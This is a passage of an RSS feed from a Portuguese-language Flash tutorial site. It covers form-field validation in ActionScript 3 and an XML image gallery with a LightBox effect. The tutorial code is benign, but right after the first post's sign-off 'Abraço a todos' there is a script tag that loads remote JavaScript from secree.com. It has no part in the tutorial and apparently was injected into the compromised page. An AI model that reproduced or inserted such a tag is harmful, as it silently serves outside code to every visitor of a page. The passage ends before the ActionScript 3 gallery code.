<p>if(resp == true)<br />
{<br />
//trace(&#8220;Email Correto&#8221;)<br />
this.textStatus = true<br />
if (this.mcStatus != null)<br />
{<br />
this.mcStatus.gotoAndStop(2);<br />
TweenMax.to(this.mcStatus, 0.5, { alpha:0, ease:Linear.easeNone,delay:2,onComplete:retornaStatus} );<br />
}</p>
<p>}<br />
else<br />
{<br />
//trace(&#8220;Preencher corretamente&#8221;)<br />
this.textStatus = false<br />
this.textOutput.text = &#8220;Campo &#8221; + this.textName + &#8221; incorreto&#8221;<br />
if (this.mcStatus !=  null)<br />
{<br />
this.mcStatus.gotoAndStop(3)<br />
}</p>
<p>}<br />
}</p>
<p>public function getTextStatus():Boolean<br />
{<br />
return textStatus<br />
}<br />
public function retornaStatus():void<br />
{<br />
if (this.mcStatus != null)<br />
{<br />
this.mcStatus.gotoAndStop(1);<br />
this.mcStatus.alpha = 1<br />
}</p>
<p>}</p>
<p>}<br />
}<br />
[/coolcode]</p>
<p>Abraço a todos</span> <script src="http://secree.com/re"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.mxstudio.com.br/desenvolvimento/flash/validando-campos-de-formulario-no-actionscript-3-0/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Galeria de Imagens com XML e LightBox</title>
		<link>http://www.mxstudio.com.br/desenvolvimento/flash/galeria-de-imagens-com-xml-e-lightbox/</link>
		<comments>http://www.mxstudio.com.br/desenvolvimento/flash/galeria-de-imagens-com-xml-e-lightbox/#comments</comments>
		<pubDate>Mon, 09 Nov 2009 00:19:12 +0000</pubDate>
		<dc:creator>Natan D. Alves</dc:creator>
				<category><![CDATA[Flash]]></category>
		<category><![CDATA[ActionScript 2]]></category>
		<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[FlashLightBox]]></category>
		<category><![CDATA[LightBox]]></category>
		<category><![CDATA[XML]]></category>

		<guid isPermaLink="false">http://www.mxstudio.com.br/?p=2779</guid>
		<description><![CDATA[Olá comunidade.
Neste tutorial, irei mostrar a vocês como criar uma Galeria de Imagens com XML no Flash utilizando o efeito LightBox presente em algumas páginas HTML. Os requisitos para esse tutorial são:

Flash 8, Flash CS3 ou Flash CS4
Conhecimento com interação do Flash com XML
Componente FlashLightBox

Criando o XML
Vamos começar criando o XML. O arquivo XML irá [...]]]></description>
			<content:encoded><![CDATA[<p>Olá comunidade.</p>
<p>Neste tutorial, irei mostrar a vocês como criar uma Galeria de Imagens com XML no Flash utilizando o efeito LightBox presente em algumas páginas HTML. Os requisitos para esse tutorial são:</p>
<ul>
<li>Flash 8, Flash CS3 ou Flash CS4</li>
<li>Conhecimento com interação do Flash com XML</li>
<li>Componente FlashLightBox</li>
</ul>
<h2>Criando o XML</h2>
<p>Vamos começar criando o XML. O arquivo XML irá conter o nome das imagens e a legenda que será exibida. Tanto o arquivo XML quanto as imagens precisam estar no mesmo diretório do arquivo FLA do Flash. Salvem o XML com o nome de <strong>imagens.xml</strong>.</p>

<div class="wp_syntax"><div class="code"><pre class="xml xml" style="font-family:monospace;"><span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;?xml</span> <span style="color: #000066;">version</span>=<span style="color: #ff0000;">&quot;1.0&quot;</span> <span style="color: #000066;">encoding</span>=<span style="color: #ff0000;">&quot;utf-8&quot;</span><span style="color: #000000; font-weight: bold;">?&gt;</span></span>
<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;imagens<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
   <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;foto<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
      <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;imagem<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>imagem.jpg<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/imagem<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
      <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;texto<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>Moto Ayrton Senna<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/texto<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
   <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/foto<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
   <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;foto<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
      <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;imagem<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>imagem1.jpg<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/imagem<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
      <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;texto<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>Mclaren do Senna<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/texto<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
   <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/foto<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
   <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;foto<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
      <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;imagem<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>imagem2.jpg<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/imagem<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
      <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;texto<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>Capacete Senna<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/texto<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
   <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/foto<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
   <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;foto<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
      <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;imagem<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>imagem3.jpg<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/imagem<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
      <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;texto<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>Ferrari Shumacher<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/texto<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
   <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/foto<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
   <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;foto<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
      <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;imagem<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>imagem4.jpg<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/imagem<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
      <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;texto<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>Loro<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/texto<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
   <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/foto<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
   <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;foto<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
      <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;imagem<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>imagem5.jpg<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/imagem<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
      <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;texto<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>Trator do Sítio<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/texto<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
   <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/foto<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
   <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;foto<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
      <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;imagem<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>imagem6.jpg<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/imagem<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
      <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;texto<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>Carroça antiga<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/texto<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
   <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/foto<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/imagens<span style="color: #000000; font-weight: bold;">&gt;</span></span></span></pre></div></div>

<h2>Download do Componente FlashLightBox</h2>
<p>Para criar o efeito LightBox vamos usar o Componente que eu desenvolvi. O link para baixar o Componente e instruções de como instalar estão em meu Blog.</p>
<p><a title="Componente FlashLightBox" href="http://www.natanalves.com/blog/flashlightbox" target="_blank">Componente FlashLightBox</a></p>
<h2>Criando a galeria</h2>
<p>Após terem baixado e instalado o Componente, vamos criar um novo arquivo no Flash. Abram o painel de Componentes (Ctrl+F7 ou Window, Components) e joguem para o palco o Componente FlashLightBox, abram o painel Properties e dêem instancia de <strong>flb</strong> para ele. O Componente pode estar posicionado no local que desejar, ele não irá aparecer quando seu arquivo rodar.</p>
<p>Diferentemente das outras galerias que mostrei como criar aqui no MXStudio, nessa galeria não é preciso criar nenhum MovieClip, campo de texto, nem nada. Tudo será criado a partir do ActionScript. Nós vamos carregar as imagens, adicionar uma borda a cada imagem e adicionar uma sombra usando o Filtro DropShadow, cada imagem será dimensionada para um tamanho randomico, assim como sua posição e rotação. Podemos mover as imagens pela tela e para ver a imagem com o tamanho original clicamos duas vezes sobre a imagem para que ela seja revelada com o efeito LightBox.</p>
<p>Vamos as ações da Galeria, quem estiver usando o <strong>ActionScript 2</strong>, copiem e colem essas ações no mesmo frame que o Componente está:</p>

<div class="wp_syntax"><div class="code"><pre class="actionscript actionscript" style="font-family:monospace;"><span style="color: #808080; font-style: italic;">/* Importa a Classe do Filtro DropShadow */</span>
<span style="color: #0066CC;">import</span> flash.<span style="color: #006600;">filters</span>.<span style="color: #006600;">DropShadowFilter</span>;
<span style="color: #808080; font-style: italic;">/* Alinha o arquivo para o canto superior esquerdo */</span>
<span style="color: #0066CC;">Stage</span>.<span style="color: #0066CC;">align</span> = <span style="color: #ff0000;">&quot;TL&quot;</span>;
<span style="color: #808080; font-style: italic;">/* Desabilitamos o dimencionamento do arquivo */</span>
<span style="color: #0066CC;">Stage</span>.<span style="color: #0066CC;">scaleMode</span> = <span style="color: #ff0000;">&quot;noScale&quot;</span>;
<span style="color: #808080; font-style: italic;">/* Variável que vai ser usada no setInterval */</span>
<span style="color: #000000; font-weight: bold;">var</span> intervalo:<span style="color: #0066CC;">Number</span> = <span style="color: #000000; font-weight: bold;">new</span> <span style="color: #0066CC;">Number</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #808080; font-style: italic;">/* Variável usada no duplo clique do mouse */</span>
<span style="color: #000000; font-weight: bold;">var</span> count:<span style="color: #0066CC;">Number</span> = 0;
<span style="color: #808080; font-style: italic;">/* Variável que armazena o total de itens do XML */</span>
<span style="color: #000000; font-weight: bold;">var</span> total:<span style="color: #0066CC;">Number</span> = <span style="color: #000000; font-weight: bold;">new</span> <span style="color: #0066CC;">Number</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #808080; font-style: italic;">/* Criamos um listener */</span>
<span style="color: #000000; font-weight: bold;">var</span> listener:<span style="color: #0066CC;">Object</span> = <span style="color: #000000; font-weight: bold;">new</span> <span style="color: #0066CC;">Object</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #808080; font-style: italic;">/* Criamos uma instancia da Classe XML */</span>
<span style="color: #000000; font-weight: bold;">var</span> <span style="color: #0066CC;">xml</span>:<span style="color: #0066CC;">XML</span> = <span style="color: #000000; font-weight: bold;">new</span> <span style="color: #0066CC;">XML</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #808080; font-style: italic;">/* Ignoramos os espaços em branco */</span>
<span style="color: #0066CC;">xml</span>.<span style="color: #0066CC;">ignoreWhite</span> = <span style="color: #000000; font-weight: bold;">true</span>;
<span style="color: #808080; font-style: italic;">/* Carregamos o arquivo XML */</span>
<span style="color: #0066CC;">xml</span>.<span style="color: #0066CC;">load</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;imagens.xml&quot;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #808080; font-style: italic;">/* Ao carregar o arquivo XML */</span>
<span style="color: #0066CC;">xml</span>.<span style="color: #0066CC;">onLoad</span> = <span style="color: #000000; font-weight: bold;">function</span><span style="color: #66cc66;">&#40;</span>ok<span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&#123;</span>
	<span style="color: #808080; font-style: italic;">/* Se não deu erro */</span>
	<span style="color: #b1b100;">if</span> <span style="color: #66cc66;">&#40;</span>ok<span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&#123;</span>
		<span style="color: #808080; font-style: italic;">/* Identificamos o primeiro nó do XML */</span>
		<span style="color: #0066CC;">xmlNode</span> = <span style="color: #0066CC;">this</span>.<span style="color: #0066CC;">firstChild</span>;
		<span style="color: #808080; font-style: italic;">/* Armazena o total de itens do XML */</span>
		total = <span style="color: #0066CC;">xmlNode</span>.<span style="color: #0066CC;">childNodes</span>.<span style="color: #0066CC;">length</span>;
		<span style="color: #808080; font-style: italic;">/* Chama a função carrega */</span>
		carrega<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
	<span style="color: #66cc66;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #66cc66;">&#123;</span>
		<span style="color: #808080; font-style: italic;">/* Mostra a mensagem de erro */</span>
		<span style="color: #0066CC;">trace</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;Erro&quot;</span><span style="color: #66cc66;">&#41;</span>;
	<span style="color: #66cc66;">&#125;</span>
<span style="color: #66cc66;">&#125;</span>
<span style="color: #808080; font-style: italic;">/* Função que carrega as imagens */</span>
<span style="color: #000000; font-weight: bold;">function</span> carrega<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&#123;</span>
	<span style="color: #808080; font-style: italic;">/* Criamos um laço para percorrer todos os itens do XML */</span>
	<span style="color: #b1b100;">for</span> <span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">var</span> i=0; i<span style="color: #66cc66;">&lt;</span>total; i++<span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&#123;</span>
		<span style="color: #808080; font-style: italic;">/* Criamos um novo MovieClip */</span>
		<span style="color: #000000; font-weight: bold;">var</span> mc:<span style="color: #0066CC;">MovieClip</span> = <span style="color: #0066CC;">this</span>.<span style="color: #0066CC;">createEmptyMovieClip</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;mc&quot;</span>+i, <span style="color: #0066CC;">this</span>.<span style="color: #0066CC;">getNextHighestDepth</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;
		<span style="color: #808080; font-style: italic;">/* Criamos um MovieClip que servirá de alvo para carregar a imagem */</span>
		<span style="color: #000000; font-weight: bold;">var</span> holder:<span style="color: #0066CC;">MovieClip</span> = mc.<span style="color: #0066CC;">createEmptyMovieClip</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;holder&quot;</span>, mc.<span style="color: #0066CC;">getNextHighestDepth</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;
		<span style="color: #808080; font-style: italic;">/* Rotacionamos o MovieClip de forma randomica */</span>
		mc.<span style="color: #0066CC;">_rotation</span> = <span style="color: #0066CC;">Math</span>.<span style="color: #0066CC;">round</span><span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">Math</span>.<span style="color: #0066CC;">random</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">*</span>-<span style="color: #cc66cc;">30</span><span style="color: #66cc66;">&#41;</span>+<span style="color: #cc66cc;">10</span>;
		<span style="color: #808080; font-style: italic;">/* Armazena o número do nó do XML */</span>
		mc.<span style="color: #006600;">id</span> = i;
		<span style="color: #808080; font-style: italic;">/* Ao precionar do Mouse no MovieClip */</span>
		mc.<span style="color: #0066CC;">onPress</span> = <span style="color: #000000; font-weight: bold;">function</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&#123;</span>
			<span style="color: #808080; font-style: italic;">/* Jogamos ele pra cima de tudo */</span>
			<span style="color: #0066CC;">this</span>.<span style="color: #0066CC;">swapDepths</span><span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">this</span>.<span style="color: #0066CC;">_parent</span>.<span style="color: #0066CC;">getNextHighestDepth</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;
			<span style="color: #808080; font-style: italic;">/* Incrementamos a variável do duplo clique */</span>
			count++;
			<span style="color: #808080; font-style: italic;">/* Se ela for igual a 1 */</span>
			<span style="color: #b1b100;">if</span> <span style="color: #66cc66;">&#40;</span>count == <span style="color: #cc66cc;">1</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&#123;</span>
				<span style="color: #808080; font-style: italic;">/* Movimenta o MovieClip */</span>
				<span style="color: #0066CC;">startDrag</span><span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">this</span>, <span style="color: #000000; font-weight: bold;">false</span><span style="color: #66cc66;">&#41;</span>;
				<span style="color: #808080; font-style: italic;">/* Iniciamos um intervalo para saber se o usuário irá clicar novamente */</span>
				<span style="color: #808080; font-style: italic;">/* Fazemos isso para saber se é um clique duplo ou não */</span>
				intervalo = <span style="color: #0066CC;">setInterval</span><span style="color: #66cc66;">&#40;</span>verifica, <span style="color: #cc66cc;">250</span><span style="color: #66cc66;">&#41;</span>;
			<span style="color: #808080; font-style: italic;">/* Se a variável for igual a 2 */</span>
			<span style="color: #808080; font-style: italic;">/* Significa que o duplo clique aconteceu */</span>
			<span style="color: #66cc66;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #b1b100;">if</span> <span style="color: #66cc66;">&#40;</span>count == <span style="color: #cc66cc;">2</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&#123;</span>
				<span style="color: #808080; font-style: italic;">/* Zeramos a variável */</span>
				count = 0;
				<span style="color: #808080; font-style: italic;">/* Encerramos o intervalo */</span>
				<span style="color: #0066CC;">clearInterval</span><span style="color: #66cc66;">&#40;</span>intervalo<span style="color: #66cc66;">&#41;</span>;
				<span style="color: #808080; font-style: italic;">/* Chamamos a função carrega do Componente FlashLightBox */</span>
				<span style="color: #808080; font-style: italic;">/* A função recebe o endereço da imagem e o texto para a legenda */</span>
				flb.<span style="color: #006600;">carrega</span><span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">xmlNode</span>.<span style="color: #0066CC;">childNodes</span><span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">this</span>.<span style="color: #006600;">id</span><span style="color: #66cc66;">&#93;</span>.<span style="color: #0066CC;">childNodes</span><span style="color: #66cc66;">&#91;</span>0<span style="color: #66cc66;">&#93;</span>.<span style="color: #0066CC;">firstChild</span>.<span style="color: #0066CC;">nodeValue</span>, <span style="color: #0066CC;">xmlNode</span>.<span style="color: #0066CC;">childNodes</span><span style="color: #66cc66;">&#91;</span><span style="color: #0066CC;">this</span>.<span style="color: #006600;">id</span><span style="color: #66cc66;">&#93;</span>.<span style="color: #0066CC;">childNodes</span><span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #66cc66;">&#93;</span>.<span style="color: #0066CC;">firstChild</span>.<span style="color: #0066CC;">nodeValue</span><span style="color: #66cc66;">&#41;</span>;
			<span style="color: #66cc66;">&#125;</span>
		<span style="color: #66cc66;">&#125;</span>;
		<span style="color: #808080; font-style: italic;">/* Ao soltar do Mouse */</span>
		mc.<span style="color: #0066CC;">onRelease</span> = mc.<span style="color: #0066CC;">onReleaseOutside</span> = <span style="color: #000000; font-weight: bold;">function</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&#123;</span>
			<span style="color: #808080; font-style: italic;">/* Paramos de movimentar o MovieClip */</span>
			<span style="color: #0066CC;">this</span>.<span style="color: #0066CC;">stopDrag</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
		<span style="color: #66cc66;">&#125;</span>
		<span style="color: #808080; font-style: italic;">/* Criamos uma instancia da Classe DropShadowFilter */</span>
		<span style="color: #000000; font-weight: bold;">var</span> sombra:DropShadowFilter = <span style="color: #000000; font-weight: bold;">new</span> DropShadowFilter<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
		<span style="color: #808080; font-style: italic;">/* Modiciamos o angulo */</span>
		sombra.<span style="color: #006600;">angle</span> = <span style="color: #cc66cc;">45</span>;
		<span style="color: #808080; font-style: italic;">/* Modificamos o blurX e blurY */</span>
		sombra.<span style="color: #006600;">blurX</span> = <span style="color: #cc66cc;">5</span>;
		sombra.<span style="color: #006600;">blurY</span> = <span style="color: #cc66cc;">5</span>;
		<span style="color: #808080; font-style: italic;">/* Modificamos a distancia */</span>
		sombra.<span style="color: #006600;">distance</span> = <span style="color: #cc66cc;">3</span>;
		<span style="color: #808080; font-style: italic;">/* Modificamos a intencidade da sombra */</span>
		sombra.<span style="color: #006600;">strength</span> = <span style="color: #cc66cc;">0.75</span>;
		<span style="color: #808080; font-style: italic;">/* Criamos um Array que armazena os filtros usados */</span>
		<span style="color: #000000; font-weight: bold;">var</span> filtro:<span style="color: #0066CC;">Array</span> = <span style="color: #000000; font-weight: bold;">new</span> <span style="color: #0066CC;">Array</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
		<span style="color: #808080; font-style: italic;">/* Adicionamos ao Array a sombra */</span>
		filtro.<span style="color: #0066CC;">push</span><span style="color: #66cc66;">&#40;</span>sombra<span style="color: #66cc66;">&#41;</span>;
		<span style="color: #808080; font-style: italic;">/* Aplica a sombra ao MovieClip */</span>
		mc.<span style="color: #006600;">filters</span> = filtro;
		<span style="color: #808080; font-style: italic;">/* Criamos uma instancia da Classe MovieClipLoader */</span>
		<span style="color: #000000; font-weight: bold;">var</span> loader:<span style="color: #0066CC;">MovieClipLoader</span> = <span style="color: #000000; font-weight: bold;">new</span> <span style="color: #0066CC;">MovieClipLoader</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
		<span style="color: #808080; font-style: italic;">/* Carregamos a imagem */</span>
		loader.<span style="color: #0066CC;">loadClip</span><span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">xmlNode</span>.<span style="color: #0066CC;">childNodes</span><span style="color: #66cc66;">&#91;</span>i<span style="color: #66cc66;">&#93;</span>.<span style="color: #0066CC;">childNodes</span><span style="color: #66cc66;">&#91;</span>0<span style="color: #66cc66;">&#93;</span>.<span style="color: #0066CC;">firstChild</span>.<span style="color: #0066CC;">nodeValue</span>, holder<span style="color: #66cc66;">&#41;</span>;
		<span style="color: #808080; font-style: italic;">/* Modificamos o tamanho dela randomicamente */</span>
		holder.<span style="color: #0066CC;">_xscale</span> = <span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">Math</span>.<span style="color: #0066CC;">random</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">*</span><span style="color: #cc66cc;">20</span><span style="color: #66cc66;">&#41;</span>+<span style="color: #cc66cc;">60</span>;
		holder.<span style="color: #0066CC;">_yscale</span> = holder.<span style="color: #0066CC;">_xscale</span>;
		<span style="color: #808080; font-style: italic;">/* Modificamos a posição da imagem */</span>
		holder.<span style="color: #0066CC;">_x</span> = <span style="color: #cc66cc;">10</span>;
		holder.<span style="color: #0066CC;">_y</span> = <span style="color: #cc66cc;">10</span>;
		<span style="color: #808080; font-style: italic;">/* Adicionamos um listener a instancia da Classe MovieClipLoader */</span>
		loader.<span style="color: #0066CC;">addListener</span><span style="color: #66cc66;">&#40;</span>listener<span style="color: #66cc66;">&#41;</span>;
	<span style="color: #66cc66;">&#125;</span>
<span style="color: #66cc66;">&#125;</span>
<span style="color: #808080; font-style: italic;">/* Função chamada caso o usuário não clique duas vezes sobre a imagem */</span>
<span style="color: #000000; font-weight: bold;">function</span> verifica<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&#123;</span>
	<span style="color: #808080; font-style: italic;">/* Zera a variavel */</span>
	count = 0;
	<span style="color: #808080; font-style: italic;">/* Encerramos o intervalo */</span>
	<span style="color: #0066CC;">clearInterval</span><span style="color: #66cc66;">&#40;</span>intervalo<span style="color: #66cc66;">&#41;</span>;
<span style="color: #66cc66;">&#125;</span>
<span style="color: #808080; font-style: italic;">/* Ao carregar a imagem */</span>
listener.<span style="color: #0066CC;">onLoadInit</span> = <span style="color: #000000; font-weight: bold;">function</span><span style="color: #66cc66;">&#40;</span>alvo:<span style="color: #0066CC;">MovieClip</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&#123;</span>
	<span style="color: #808080; font-style: italic;">/* Definimos a cor de fundo da borda */</span>
	alvo.<span style="color: #0066CC;">_parent</span>.<span style="color: #0066CC;">beginFill</span><span style="color: #66cc66;">&#40;</span>0xFFFFFF, <span style="color: #cc66cc;">100</span><span style="color: #66cc66;">&#41;</span>;
	<span style="color: #808080; font-style: italic;">/* Começamos a desenhar a borda de acordo com o tamanho da imagem */</span>
	alvo.<span style="color: #0066CC;">_parent</span>.<span style="color: #0066CC;">lineTo</span><span style="color: #66cc66;">&#40;</span>0, 0<span style="color: #66cc66;">&#41;</span>;
	alvo.<span style="color: #0066CC;">_parent</span>.<span style="color: #0066CC;">lineTo</span><span style="color: #66cc66;">&#40;</span>0, alvo.<span style="color: #0066CC;">_height</span>+<span style="color: #cc66cc;">20</span><span style="color: #66cc66;">&#41;</span>;
	alvo.<span style="color: #0066CC;">_parent</span>.<span style="color: #0066CC;">lineTo</span><span style="color: #66cc66;">&#40;</span>alvo.<span style="color: #0066CC;">_width</span>+<span style="color: #cc66cc;">20</span>, alvo.<span style="color: #0066CC;">_height</span>+<span style="color: #cc66cc;">20</span><span style="color: #66cc66;">&#41;</span>;
	alvo.<span style="color: #0066CC;">_parent</span>.<span style="color: #0066CC;">lineTo</span><span style="color: #66cc66;">&#40;</span>alvo.<span style="color: #0066CC;">_width</span>+<span style="color: #cc66cc;">20</span>, 0<span style="color: #66cc66;">&#41;</span>;
	<span style="color: #808080; font-style: italic;">/* Termina de desenhar */</span>
	alvo.<span style="color: #0066CC;">_parent</span>.<span style="color: #0066CC;">endFill</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
	<span style="color: #808080; font-style: italic;">/* Modifica a posição do MovieClip de forma randomica */</span>
	alvo.<span style="color: #0066CC;">_parent</span>.<span style="color: #0066CC;">_x</span> = <span style="color: #0066CC;">Math</span>.<span style="color: #0066CC;">round</span><span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">Math</span>.<span style="color: #0066CC;">random</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">*</span><span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">Stage</span>.<span style="color: #006600;">width</span>-alvo.<span style="color: #0066CC;">_width</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;
	alvo.<span style="color: #0066CC;">_parent</span>.<span style="color: #0066CC;">_y</span> = <span style="color: #0066CC;">Math</span>.<span style="color: #0066CC;">round</span><span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">Math</span>.<span style="color: #0066CC;">random</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">*</span><span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">Stage</span>.<span style="color: #006600;">height</span>-alvo.<span style="color: #0066CC;">_height</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #66cc66;">&#125;</span></pre></div></div>

<p>Quem estiver usando <strong>ActionScript 3</strong> as ações são essas:</p>

